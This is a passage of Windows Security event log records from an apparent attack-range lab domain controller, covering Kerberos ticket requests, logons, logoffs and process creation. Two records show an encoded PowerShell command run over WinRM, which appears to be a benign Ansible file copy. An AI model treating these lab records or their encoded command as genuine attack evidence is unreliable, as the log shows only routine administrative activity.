This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252678
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252677
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252676
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16E16C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252675
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16DBF0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252674
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16E16C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252673
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16E16C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252672
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252671
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252670
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252669
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16DBF0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252668
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16DBF0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252667
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252666
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252665
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252664
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcc4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x6d4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANgAwADEALgAxADIAMAAzADUAMgAtADQANgA5ADcANAAzADAAMQA4ADkANAA2ADUAMQBcAHMAbwB1AHIAYwBlACcACgAkAEQAZQBiAHUAZwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAQwBvAG4AdABpAG4AdQBlACIACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwB0AG8AcAAiAAoAUwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAAMgAKACQAZgBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AEMAcgBlAGEAdABlACgAJABwAGEAdABoACkACgAkAHMAaABhADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUwBIAEEAMQBDAHIAeQBwAHQAbwBTAGUAcgB2AGkAYwBlAFAAcgBvAHYAaQBkAGUAcgBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAkAGIAeQB0AGUAcwAgAD0AIABAACgAKQAgACMAaQBuAGkAdABpAGEAbABpAHoAZQAgAGYAbwByACAAZQBtAHAAdAB5ACAAZgBpAGwAZQAgAGMAYQBzAGUACgB9AAoAcAByAG8AYwBlAHMAcwAgAHsACgAkAGIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABpAG4AcAB1AHQAKQAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACwAIAAkAGIAeQB0AGUAcwAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAZgBkAC4AVwByAGkAdABlACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQAKAH0ACgBlAG4AZAAgAHsACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGgAYQBzAGgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAcwBoAGEAMQAuAEgAYQBzAGgAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAC0AIgAsACAAIgAiACkALgBUAG8ATABvAHcAZQByAEkAbgB2AGEAcgBpAGEAbgB0ACgAKQAKACQAZgBkAC4AQwBsAG8AcwBlACgAKQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgB7ACIAIgBzAGgAYQAxACIAIgA6ACIAIgAkAGgAYQBzAGgAIgAiAH0AIgAKAH0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252663
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6d4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x134c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANgAwADEALgAxADIAMAAzADUAMgAtADQANgA5ADcANAAzADAAMQA4ADkANAA2ADUAMQBcAHMAbwB1AHIAYwBlACcACgAkAEQAZQBiAHUAZwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAQwBvAG4AdABpAG4AdQBlACIACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwB0AG8AcAAiAAoAUwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAAMgAKACQAZgBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AEMAcgBlAGEAdABlACgAJABwAGEAdABoACkACgAkAHMAaABhADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUwBIAEEAMQBDAHIAeQBwAHQAbwBTAGUAcgB2AGkAYwBlAFAAcgBvAHYAaQBkAGUAcgBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAkAGIAeQB0AGUAcwAgAD0AIABAACgAKQAgACMAaQBuAGkAdABpAGEAbABpAHoAZQAgAGYAbwByACAAZQBtAHAAdAB5ACAAZgBpAGwAZQAgAGMAYQBzAGUACgB9AAoAcAByAG8AYwBlAHMAcwAgAHsACgAkAGIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABpAG4AcAB1AHQAKQAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACwAIAAkAGIAeQB0AGUAcwAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAZgBkAC4AVwByAGkAdABlACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQAKAH0ACgBlAG4AZAAgAHsACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGgAYQBzAGgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAcwBoAGEAMQAuAEgAYQBzAGgAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAC0AIgAsACAAIgAiACkALgBUAG8ATABvAHcAZQByAEkAbgB2AGEAcgBpAGEAbgB0ACgAKQAKACQAZgBkAC4AQwBsAG8AcwBlACgAKQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgB7ACIAIgBzAGgAYQAxACIAIgA6ACIAIgAkAGgAYQBzAGgAIgAiAH0AIgAKAH0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252662
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D8B3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252661
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D8B3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252660
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252659
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{06728C1D-F671-43BF-CD48-1FE451E14338}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252658
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
